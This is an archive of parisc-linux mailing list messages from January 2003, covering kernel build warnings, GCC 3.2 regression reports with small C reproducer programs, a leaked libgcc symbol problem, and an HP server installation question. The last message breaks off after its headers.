	by dsl2.external.hp.com (Postfix) with ESMTP id 510ED482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 17:22:39 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0T0avp06189
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 16:36:58 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0T0LqE01041
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 16:21:52 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <Pine.LNX.4.33.0301281618020.235-100000@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17523

Oops this was on the make dep, sorry.

On Tue, 28 Jan 2003, Sir Ace wrote:

>
> I got these compiling the 2.4.20-pa23 tree:
>
> via-pmu.c:36:22: asm/prom.h: No such file or directory
> via-pmu.c:41:26: asm/sections.h: No such file or directory
> via-pmu.c:44:30: asm/pmac_feature.h: No such file or directory
> via-pmu.c:47:26: asm/sections.h: Success
> via-pmu.c:48:26: asm/cputable.h: No such file or directory
> via-pmu.c:49:22: asm/time.h: No such file or directory
>
> It didn't halt the compile but I did see it go by.
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel compile errors...
Date: Tue, 28 Jan 2003 19:08:09 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <3E372979.30604@earthlink.net>
References: <Pine.LNX.4.33.0301281618020.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622155 20691 80.91.229.3 (22 Nov 2014 02:09:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 18:04:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29566482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 18:04:15 -0700 (MST)
Original-Received: from h-66-167-71-246.chcgilgm.covad.net ([66.167.71.246] helo=cactus.bheadley.org)
	by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #1)
	id 18dge7-0001mZ-00; Tue, 28 Jan 2003 17:04:07 -0800
Original-Received: from localhost.localdomain ([127.0.0.1] helo=earthlink.net)
	by cactus.bheadley.org with esmtp (Exim 3.36 #1 (Debian))
	id 18dgi1-0003yQ-00; Tue, 28 Jan 2003 19:08:09 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021212
X-Accept-Language: en-us, en
In-Reply-To: <Pine.LNX.4.33.0301281618020.235-100000@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17524

Sir Ace wrote:
> I got these compiling the 2.4.20-pa23 tree:
> 
> via-pmu.c:36:22: asm/prom.h: No such file or directory
> via-pmu.c:41:26: asm/sections.h: No such file or directory
> via-pmu.c:44:30: asm/pmac_feature.h: No such file or directory
> via-pmu.c:47:26: asm/sections.h: Success
> via-pmu.c:48:26: asm/cputable.h: No such file or directory
> via-pmu.c:49:22: asm/time.h: No such file or directory
> 
> It didn't halt the compile but I did see it go by.

Makes sense. That's a driver for the powerPC/mac adb bus. How you have 
it selected I won't guess at..


-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net



From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tausq@debian.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [hppa-linux, gcc-3.2 regression] structure copy clobbers stores to substructure
Date: Tue, 28 Jan 2003 21:04:20 -0800 (PST)
Lines: 112
Approved: news@gmane.org
Message-ID: <20030129050420.E9143CDA56__26691.655527293$1416622156$gmane$org@pippin.tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622156 20696 80.91.229.3 (22 Nov 2014 02:09:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 22:07:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0247482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 22:07:53 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E9143CDA56; Tue, 28 Jan 2003 21:04:20 -0800 (PST)
X-send-pr-version: 3.113
X-GNATS-Notify: 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17525

>Submitter-Id:	net
>Originator:	Randolph Chung
>Organization:	Debian
>Confidential:	no
>Synopsis:	Structure copy clobbers subsquent stores to structure
>Severity: serious
>Priority:	medium
>Category:	optimization
>Class:		wrong-code
>Release:	3.2.2 20030124 (Debian prerelease)
>Environment:

System: Linux legolas 2.4.20-pa18 #110 Mon Jan 27 23:44:18 PST 2003 parisc unknown unknown GNU/Linux
Architecture: parisc

        
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,pascal,objc,ada --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.2 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-objc-gc hppa-linux
>Description:
	When -O2 is applied, the attach program generates incorrect output.
This test case is extracted from a miscompilation in the linux kernel. 
The code does a structure copy then an assignment to a member of the 
structure. At -O2 (-O1 -fschedule-insns) the assignment is moved before
the structure copy, and subsequently gets clobbered.
>How-To-Repeat:
Compile the following piece of code with gcc-3.2 -O2

/*
** Test to reproduce storing into a substructure getting
** clobbered by a structure copy.
**
** Compile with: gcc -O2 -o pty_test pty_test.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

typedef unsigned char cc_t;
typedef unsigned int tcflag_t;
typedef unsigned int __kernel_size_t;
typedef int __kernel_ssize_t;
typedef unsigned short kdev_t;

struct termios {
	tcflag_t c_iflag;
	tcflag_t c_oflag;
	tcflag_t c_cflag;
	tcflag_t c_lflag;
	cc_t c_line;
	cc_t c_cc[19];
};

struct tty_driver {
	int magic;
	const char *driver_name;
	const char *name;
	int name_base;
	short major;
	short minor_start;
        short num;
	short type;
	short subtype;
	struct termios init_termios;
	int flags;
	int *refcount;
};

struct termios tty_std_termios = {1, 2, 3, 4, 5};
static int pty_refcount;
static struct tty_driver pty_driver;

int main(void)
{
        memset(&pty_driver, 0, sizeof(struct tty_driver));
	pty_driver.magic = 0x5402;
	pty_driver.driver_name = "pty_master";

	pty_driver.name = "pty";

	pty_driver.major = 2;
	pty_driver.minor_start = 0;
	pty_driver.num = 256;
	pty_driver.type = 0x0004;
	pty_driver.subtype = 0x0001;

	pty_driver.init_termios = tty_std_termios;
	pty_driver.init_termios.c_iflag = 0;
	pty_driver.init_termios.c_oflag = 0;
	pty_driver.init_termios.c_cflag = 0000017 | 0000060 | 0000200;
	pty_driver.init_termios.c_lflag = 0;

	pty_driver.refcount = &pty_refcount;
	pty_driver.flags = 0x0002 | 0x0004;

	/* clobber the arg registers so the c_lflag value gets reloaded */ 
	close(10);

	printf("pty_driver.init_termios.c_lflag = %d (should be 0)\n", 
		pty_driver.init_termios.c_lflag);

	return 0;
}


>Fix:
	putting a reorder barrier (e.g. asm("")) before the store to 
    c_lflag will workaround the bug


From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] We need our own libgcc-compat for a leaked __clz_tab
Date: Wed, 29 Jan 2003 00:43:31 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <20030129054331.GF9855@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622156 20705 80.91.229.3 (22 Nov 2014 02:09:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 22:43:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0A6F482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 22:43:11 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18dl0V-0003KI-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 00:43:31 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (51% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17526

PA,

Problem:

- GCC used to export a symbol for __clz_tab (GLOBAL DEFAULT)
- Everything in debian is being built with newer tools (GCC 3.2).
- Symbol is no longer leaked (LOCAL HIDDEN)
- Libraries that had the leadked symbol are rebuilt (e.g. libcrypto)
- Binaries that had relocations against the symbol are failing (e.g.
  wget)

Solution:

- Create a libgcc-compat in glibc for the symbol __clz_tab
	= Various arches have them for certain symbols that were leaked
	= from GCC when we the GNU tools didn't have ".hidden"
	= So examples exist...
- Test the solution to see that atleast "wget" works.
- Put it into Debians glibc as a dpatch.
- Submit upstream for fame and glory.

I'm writing a paper and doing research until Saturday.

If someone feels gutsy enough to attempt a fix, please have at it... 
If not, it's currently the highest priority item on my TODO.

Cheers,
Carlos.



From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tausq@debian.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [hppa-linux, gcc-3.2 regression] cc1 segmentation fault at -O2
Date: Tue, 28 Jan 2003 23:54:11 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20030129075411.GF20940__25841.5254102603$1416622156$gmane$org@tausq.org>
Reply-To: tausq@debian.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622156 20712 80.91.229.3 (22 Nov 2014 02:09:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 00:59:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 353C7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 00:59:08 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5748BCDA56; Tue, 28 Jan 2003 23:54:11 -0800 (PST)
Content-Disposition: inline
X-send-pr-version: 3.113
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17527

>Submitter-Id:	net
>Originator:	Randolph Chung
>Organization:	Debian
>Confidential:	no
>Synopsis:	cc1 segfaults @ -O2 when building a simple function
>Severity:	serious
>Priority:	medium
>Category:	optimization
>Class:		ice-on-legal-code
>Release:	3.2.2 20030124 (Debian prerelease) (Debian testing/unstable)
>Environment:
System: Linux legolas 2.4.20-pa18 #110 Mon Jan 27 23:44:18 PST 2003 parisc unknown unknown GNU/Linux
Architecture: parisc

	<machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,pascal,objc,ada --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.2 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-objc-gc hppa-linux
>Description:
	Self-explanatory. Compiles fine with gcc-3.0.4 and gcc-3.3 (20030118)

>How-To-Repeat:
	Compile this function with gcc -O2 -c
	(simplied from a failure in building lcdproc)

void foo(int len)
{
	while (len >= 8) len -= 8;
	if(!len) return;
}

>Fix:
	none


From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lehner Hartwig" <hartwig.lehner@salzburg.gv.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing on a HP Server D200/210 Console Problem
Date: Wed, 29 Jan 2003 16:52:40 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <65BE8DA1757BDC49AE257B67560C8C96012A3346@ls203.land-sbg.gv.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622156 20714 80.91.229.3 (22 Nov 2014 02:09:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:16 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 08:53:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ls203.land-sbg.gv.at (ls203.land-sbg.gv.at [193.41.228.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9235482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 08:53:09 -0700 (MST)
content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Installing on a HP Server D200/210 Console Problem
Thread-Index: AcLHrnPesiXS7zNkEdeRIQAEdhL/hQ==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17528

Hello

I want to start using Linux on HP Server and tried to install it on a
D210. It boots, but stops to tell me that I have to change the console.
I looked in the FAQ's and other documentation and only found references
to HP workstations. Is there a How To for HP Server somewhere
Thank you


From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] We need our own libgcc-compat for a leaked __clz_tab
Date: Wed, 29 Jan 2003 11:50:43 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200301291650.h0TGohGi011015@hiauly1.hia.nrc.ca>
References: <20030129054331.GF9855@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622157 20717 80.91.229.3 (22 Nov 2014 02:09:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 09:50:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54460482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 09:50:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0TGoiot011016;
	Wed, 29 Jan 2003 11:50:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0TGohGi011015;
	Wed, 29 Jan 2003 11:50:43 -0500 (EST)
In-Reply-To: <20030129054331.GF9855@systemhalted> from "Carlos O'Donell" at Jan 29, 2003 00:43:31 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17529

> Problem:
> 
> - GCC used to export a symbol for __clz_tab (GLOBAL DEFAULT)
> - Everything in debian is being built with newer tools (GCC 3.2).
> - Symbol is no longer leaked (LOCAL HIDDEN)
> - Libraries that had the leadked symbol are rebuilt (e.g. libcrypto)
> - Binaries that had relocations against the symbol are failing (e.g.
>   wget)
> 
> Solution:
> 
> - Create a libgcc-compat in glibc for the symbol __clz_tab
> 	= Various arches have them for certain symbols that were leaked
> 	= from GCC when we the GNU tools didn't have ".hidden"
> 	= So examples exist...
> - Test the solution to see that atleast "wget" works.
> - Put it into Debians glibc as a dpatch.
> - Submit upstream for fame and glory.

As I said, this is a generic problem affecting all GCC ports.  The
correct solution probably isn't adding the symbol to a PA specific
libgcc-compat in glibc.  I think the matter needs discussion on
gcc@gcc.gnu.org.  I'm not sure if there is a reason for hiding this
symbol.  I would file a GCC PR.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on a HP Server D200/210 Console Problem
Date: Wed, 29 Jan 2003 17:57:37 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20030129165738.E205449C78@mail.esiee.fr>
References: <65BE8DA1757BDC49AE257B67560C8C96012A3346@ls203.land-sbg.gv.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622157 20720 80.91.229.3 (22 Nov 2014 02:09:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Lehner Hartwig <hartwig.lehner@salzburg.gv.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 09:57:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24706482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 09:57:42 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 557B649C79; Wed, 29 Jan 2003 17:57:40 +0100 (CET)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id E205449C78; Wed, 29 Jan 2003 17:57:37 +0100 (CET)
User-Agent: IMHO/0.98.3 (Webmail for Roxen)
In-Reply-To: <65BE8DA1757BDC49AE257B67560C8C96012A3346@ls203.land-sbg.gv.at>
X-Originating-IP: [147.215.7.14]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17530

http://pateam.esiee.fr/doc.html

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

--=20
How funny it is to repeat the same URLs in such a short amount of
time.

-------------------
> Hello
>=20
> I want to start using Linux on HP Server and tried to install it on
a
> D210. It boots, but stops to tell me that I have to change the
console.
> I looked in the FAQ's and other documentation and only found
references
> to HP workstations. Is there a How To for HP Server somewhere
> Thank you
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20
>=20
Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Wed, 29 Jan 2003 18:01:26 +0100
Lines: 251
Approved: news@gmane.org
Message-ID: <3E35CAE7000006D8@ocpmta7.freegates.net>
References: <20030113031109.GI1177@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622157 20722 80.91.229.3 (22 Nov 2014 02:09:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
